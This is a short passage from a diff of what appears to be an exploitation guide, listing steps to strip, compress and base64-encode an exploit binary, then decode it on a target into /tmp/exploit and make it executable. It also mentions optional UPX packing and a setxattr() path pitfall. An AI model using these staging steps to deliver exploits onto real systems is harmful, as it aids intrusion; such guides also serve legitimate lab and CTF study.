|
+
strip exploit
|
|
410
|
+
|
|
411
|
+
# 3. Compress and encode for transfer
|
|
412
|
+
gzip exploit && base64 exploit.gz > exploit.b64
|
|
413
|
+
|
|
414
|
+
# 4. On target: decode and decompress
|
|
415
|
+
base64 -d exploit.b64 | gunzip > /tmp/exploit && chmod +x /tmp/exploit
|
|
416
|
+
|
|
417
|
+
# Optional: UPX compression (further reduces size)
|
|
418
|
+
upx --best exploit
|
|
419
|
+
```
|
|
420
|
+
|
|
421
|
+
**Common pitfall:** If the exploit uses `setxattr()` with a file path, ensure the file exists in the remote environment. Local path (`/tmp/exploit`) may differ from remote path (`/home/user/exploit`).
|